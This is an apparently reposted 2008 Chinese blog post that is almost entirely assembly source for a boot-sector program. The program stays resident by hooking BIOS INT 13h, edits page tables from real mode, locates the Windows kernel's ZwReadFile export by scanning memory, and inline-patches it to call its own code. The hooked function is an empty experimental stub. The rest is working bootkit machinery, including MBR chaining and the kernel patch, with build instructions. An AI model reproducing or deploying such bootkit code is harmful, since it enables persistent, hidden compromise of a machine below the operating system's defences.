• 程序从DOS/bios驻留内存到WINNT下监视读入内存数据

    2008-05-11

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://lengmonanhai.blogbus.com/logs/20689164.html

    .586p                            ;########################################################################
    .model tiny                      ;#############目的:让程序永久驻留内存,监控读入内存数据.##################
    ;********************************;#步骤:一层层HOOK,进入保护模式,打开页模式...........******************##
    Code_Sise equ 200h               ;#1、BIOS层:向量法HOOK->INT19H(在它内部HOOK)->INT13H,截取读到内存的数据##
    RealCode segment byte use16      ;#   参看BIOS嵌入开发教程.DOS层可延用HOOK INT13H服务.截取读到内存的数据##
    CodeStart:                       ;#2、INT13H服务:如果是SCSI硬盘,加载SCSI驱动,HOOK->SCSI读服务(分析加载的##
      cli                            ;#   SCSI驱动服务文件,PE导出HOOK法(教程),这样程序继续监控读入内存的数据##
      xor bx,bx                      ;#3、WindowsNT层:NTLDR加载到内存,若不是SCSI硬盘,NTLDR读操作还是用INT13H##
      mov ss,bx                      ;#   NTLDR完成参数配置及保护模式切换等后将控制权交给NTOSKRNL(WINNT内核)##
      mov sp,7c00h                   ;#4、HOOK NTLDR加载的NTOSKRNL(模块),可用方法:Inline HOOK法(注意:HOOK点)##
      mov ds,bx                      ;#5、HOOK NTOSKRNL服务:ZwReadFile API导出函数,可用HOOK PE加Inline HOOK.##
      mov ax,ds:[413h]               ;#40:13,BIOS数据区保存内存大小,单位:KBs,#################################
      and al,NOT 3                   ;#防止代码在分页的边界处,以便保证代码在保护模式分页后可以继续运行########
      sub ax,4                       ;#分配4KB给我们代码用.(也就是刚刚一页的代码,防止分页边界及夸页等问题)####
      mov ds:[413h],ax               ;########################################################################
      shl ax,(10-4)                  ;ax *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
      mov es,ax                      ;分配的保留内存;es:0 -> 分配的保留内存地址

      mov ax,0201h
      mov bx,200h
      mov cx,2
      mov dx,0
      int 13h

      cld                            ;
      mov si,7c00h
      xor di,di                      ;代码被拷贝到es:di处(分配的保留内存里).注意:拷贝后偏移值改变,计算方法.
      mov cx,Code_Sise
      rep movsb                      ;拷贝代码到保留内存
      mov eax,ds:[13h*4]             ;安装我们的INT13h代码
      mov es:[INT13H - CodeStart],eax;保存旧的int13向量值
      mov word ptr ds:[13h*4],INT13Hook
      mov ds:[(13h*4) + 2],es        ;设置我们的INT13h向量
      sti
      push es
      push BootOS
      retf
    ;**************
    BootOS:
      xor ax,ax
      mov es,ax
      mov bx,7c00h
      mov ax,0201h
      mov cx,1
      mov dx,80h
      int 13h
      db  0eah
      dd  7c00h                       ;jmp far 0:7c00h ;引导系统
    ;#############################################################################################################
    ;#####NT加载模块:1、不是SCSI硬盘,如果在保护模式就切换到实模式.调用BIOS INT13H读数据,修改读的数据做HOOK等######
    ;#####           2、是SCSI硬盘:可以先在INT13H服务HOOK SCSI驱动的加载,同样在该服务里.修改读的数据做HOOK等######
    ;#####           3、注意:没在保护模式我们可切换过去.获取CR3修改页映射.和修改GDT表等.在保护模式就更简单了######
    ;#############################################################################################################
    ;********************我们的BIOS/DOS下HOOK INT13H服务**********************************************************
    INT13Hook:                    ;######这个硬盘操作服务是我们在实模式驻留运行服务的关键######
       pushf                      ;有指令要改变标志寄存器
       test ah, 0bdh              ;是不是读数据到内存,ah=02,ah=42h
       jz Int13Hook_ReadRequest
       popf
       db 0eah
       INT13H dd ?                ;跳转到旧的INT13H服务,注意:这种保存数据的方法  
    Int13Hook_ReadRequest:
       popf
       pushf
       call dword ptr cs:[INT13H] ;调用旧INT13H服务的读
       jc Int13Hook_ret           ;CF=1,读失败退出服务
          cli                     ;关闭中断
          pushfd
          push fs
          pushad                   ;保护现场
          call MakeFS4GBSegment    ;返回FS段可写4GB内存.ebx = cr3的值.
          ;#############把代码映射成线性地址80000000h+cs*4地址,避免NT不映射我们代码在保留内存情况############
          mov eax,FS:[ebx+800h]    ;eax=线性地址最高10位400h*4=800h,确定在cr3指向的页目录表的位置.
          and eax,0fffff000h       ;去掉获取的二级页表属性位.eax=80000000h线性地址二级页表物理地址.
          .if eax != 0             ;二级页表物理地址不能为零
              xor ecx,ecx
              mov cx,cs                 ;我们直接映射成对应的物理地址          
              mov edx,ecx               ;故二级页表位置用cs值确定..
              shl edx,4                 ;edx=我们代码段在内存的物理地址.
              or  edx,163h              ;设置页属性为:存在的且用户及系统可读/写
              shr ecx,8                 ;cl=在二级页表的位置
              shl ecx,2                 ;一个页项在页目录表或者在页表占4个字节.ecx=在二级页表位置
              mov FS:[eax+ecx],edx      ;修改我们代码在物理内存的映射
              mov dword ptr FS:[eax],103h;修改物理页0(也就是BIOS/DOS区映射到80000000h)
          .endif                         ;注意:WINNT不会使用BIOS/DOS使用的页,即物理页0)
          ;###################################################################################################
          call MemScansAPIAddr
          .if  edi                 ;###在内存搜索到我们要找的API函数地址,eax->ZwReadFile##
               mov esi,MyZwReadFileARG - Code32Start + Code16Size
               .if dword ptr cs:[esi] == 0   ;第一次HOOK时.获取被HOOK的指令.
                   mov ebx,fs:[eax+1]        ;##不同版NT:ZwReadFile函数指令不同,Inline HOOK弱点.##
                   mov cs:[esi],ebx          ;分析发现ZwReadFile开头都是mov eax,(不确定)
                   xor edx,edx
                   mov edx,cs                    ;MyZwReadFile在内存的物理地址
                   shl edx,4                     ;edx->我们代码段基址(cs*10H)
                   add edx,Code16Size            ;(edx->VirtualCode->MyZwReadFile) < (eax->ZwReadFile)
                   mov ecx,Code32End - Code32Start ;ecx=代码长度
                   mov ebx,600h                    ;ebx->拷贝到的物理地址
                   .while ecx                      ;edx->拷贝前的物理地址
                          mov al,FS:[edx]
                          mov FS:[ebx],al
                          inc edx
                          inc ebx
                          dec ecx
                   .endw
                .endif
               mov ebx,600h              ;将VirtualCode代码拷到物理地址600h,这段内存(物理页0)WINTNT不会用.
               mov byte ptr fs:[eax],0E8h;##采用Inline HOOK:命令E8h/xx/xx/xx/xx: CALL Rel(Rel=相对地址)##
               add eax,5                     ;#####修正32位相对偏移指令CALL Rel所占的五字节########
               sub ebx,eax                   ;#####计算相对偏移字节数(相对转移分正负方向.这里负)###
               mov fs:[eax-4],ebx            ;####填写计算好的地址到被HOOK地点####
          .endif
    Int13Hook_scan_done:                            
       popad
       pop fs
       popfd
       sti
    Int13Hook_ret:
       retf 2
    ;**************************************************************************************************************
    MakeFS4GBSegment proc                        ;#####设置FS段让dos可以用FS段访问4GB内存####
      mov esi,800h                               ;#####同时返回ebx=cr3让DOS可以更改页映射####
      sub eax,eax
      mov cs:[si],eax                            ;MyGdt开始ds:[si]
      mov cs:[si+4],eax                          ;空描述符
      mov ax,cs
      shl eax,4                                  ;代码段物理地址  
      rol eax,8                                  ;设置代码段描述符
      mov cs:[si+8+7],al                         ;代码段基址高8位
      mov al,9ah                                 ;存在的可执行可读代码段
      ror eax,8                                  ;低24位是代码段基址
      mov cs:[si+8+2],eax
      mov word  ptr cs:[si+8],0ffffh             ;设置段界限低16位
      mov byte  ptr cs:[si+8+6],0                ;段界限16~19位含段属性高4位
      mov dword ptr cs:[si+8+8],0ffffh           ;设置数据段描述符
      mov dword ptr cs:[si+8+8+4],0cf9200h       ;数据段属性及基址
      mov dword ptr cs:[si+8+8+8],0
      mov dword ptr cs:[si+8+8+8+4],0            ;空描述符MyGdt结束cs:[4*8]
      xor eax,eax
      mov ax,cs
      mov cs:[Code_Base - CodeStart],cs          ;###注意:变量所在内存位置###
      shl eax,4
      add eax,esi                                ;eax->MyGdt
      mov cs:[si+8+8+8+8+2],eax                  ;设置GDT开始物理地址到GDTR
      mov word ptr cs:[si+8+8+8+8],31            ;设置GDTR界限
      lgdt fword ptr cs:[si+8+8+8+8]             ;设置新的GDTR(cs:[si+8+8+8+8])注意:以下几条指令执行要关中断
      in   al,92h
      or   al,2
      out  92h,al                                ;打开A20地址线
      mov  eax,cr0
      or   al,1
      mov  cr0,eax                               ;进入保护模式        
      DB   0eah                                  ;jmp 08:PM_Service
      DW   PM_Service                            ;跳转到保护模式代码执行      
      DW   8                                     ;8代码段选择子  
    PM_Service:
      mov ax,16                                  ;16数据段选择子(就是在MyGdt里的偏移)
      mov fs,ax                                  ;***###fs->保护模式数据段###***
      mov ebx,cr3                                ;***###ebx=cr3注意:只能在保护模式获取###***
      mov eax,cr0
      and al,0feh
      mov cr0,eax                                ;返回实模式  
      db  0eah                                   ;jmp SEG Real_Service:offset Real_Service
      dw  Real_Service - CodeStart               ;###注意:变量所在内存位置###
      Code_Base dw  0
    Real_Service:                                ;关闭A20地址线in al,92h|and al,0fdh|out  92h,al              
      ret
    MakeFS4GBSegment endp
    ;*****************************************************************************************************
    org 1feh
    dw 0aa55h                                   ;第一个扇区结束
    ;*****************************************************************************************************
    ;**************暴力内存搜索PE镜像->API(ZwReadFile)地址,注意:入口edi线性地址在保护模式下等情况!********
    MemScansAPIAddr proc ;入口:edi->内存开始  ecx=内存结束值注意:没保护现场  
                         ;出口:edi->Image Base,ebx->PE HOOK点,eax=旧函数地址 edi=0,没找到
       mov     edi,400000h    ;#####分析发现各版NT Kernel base在400000h ~ 900000h内版本越高越后######
       .while  edi < 900000h       ;#@!*##内存结束地址注意:未分页情况下不能超过内存总大小.#*%##
               mov  eax,edi          ;##为了缩短搜索时间注意:设置搜索范围##
               add  eax,fs:[eax+3ch] ;eax->PE头
               .if   word ptr fs:[edi] != 5a4dh || dword ptr fs:[eax] != 00004550h || dword ptr fs:[eax+78h] == 0
                     add edi,1000h      ;edi->下一个模块(模块以页为单位加载)
                     .continue          ;NOT(PE镜像有导出函数表)
               .endif
                    ;#####找到一个镜像且有导出函数表:edi->Image Base,eax->PE头#####
                    mov    ebx,fs:[eax+78h]                        
                    add    ebx,EDI                      ;ebx->IMAGE_EXPORT_DIRECTORY
                    mov    ecx,fs:[ebx+18h]             ;edx=以名称导出的函数总数
                    mov    eax,fs:[ebx+20h]             ;eax->导出函数名地址表的RVA  
                    add    eax,EDI                      ;eax->导出函数名地址表
                    mov    ebx,fs:[ebx+1ch]             ;ebx->导出函数地址表的RVA
                    add    ebx,EDI                      ;ebx->导出函数地址表
                    and    ecx,0ffffh                   ;#####发现WINXP/2003循环成死循环.######
                    .while  ecx > 0
                           mov esi,fs:[eax]                     ;esi->输出表中的当前函数名字RVA
                           and esi,0ffffffh                     ;######发现在WIN2003上出错######
                           add esi,EDI                          ;esi->输出表中的当前函数名字
                           ;这样子适合API名字较短情况.适当改下代码可在32位代码用和变成通用函数.
                           .if  dword ptr fs:[esi]==6552775ah && dword ptr fs:[esi+4]==69466461h && word ptr fs:[esi+8]==656ch
                                mov    eax,fs:[ebx]
                                add    eax,EDI
                                ret
                           .endif
                           dec ecx
                           add eax,4                            ;每个函数名地址占4个字节
                           add ebx,4                            ;每个函数地址指针占4个字节
                    .endw
              add  edi,1000h                  ;#####edi->下一个页.PE模块(镜像)总是以页为基址(边界)读入内存的#####
       .endw    
       xor edi,edi                            ;没找到退出!
       ret
    MemScansAPIAddr endp
    Code16End:
    RealCode ends
    Code16Size equ Code16End - CodeStart             ;Code16Size -> VirtualCode(相对偏移),便于后面计算地址用
    ;***#####################################以上代码工作在,实模式下.######################################***
    ;*********************************************************************************************************
    VirtualCode segment byte use32    ;##########可工作在32位保护模式的代码#########
    Code32Start:

    ;*********************我们的ZwReadFile函数,这里供实验没写什么!******************************
    MyZwReadFile proc                     ;尽量内存寻址使用相对寻址指令(call,jmp..等指令).
       mov eax,0                          ;模拟实现Inline HOOK的特征码,不同版本这里不同
       MyZwReadFileARG equ $ - 4
       ret                                
    MyZwReadFile endp
    Code32End:
    ;*********************************************************************************************************
    VirtualCode ends
    end CodeStart
    ;编译ml aa.asm  ren aa.com aa.img.文件就可以用WMware调试了....

    收藏到:Del.icio.us